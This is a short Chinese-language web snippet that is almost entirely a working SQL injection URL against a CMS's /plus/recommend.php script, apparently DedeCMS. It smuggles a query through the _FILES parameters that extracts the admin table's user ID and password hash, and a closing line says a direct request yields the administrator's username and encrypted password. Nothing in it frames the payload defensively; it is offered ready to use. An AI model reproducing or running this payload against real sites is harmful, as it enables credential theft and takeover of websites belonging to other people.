复制代码

代码如下:

http://*.*.com/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\' or mid=@`\'` 1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin` limit+0,1),5,6,7,8,9%23@`\'`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=111

直接获取就可以得到管理员的用户名与加密后的密码，效果如下图所示
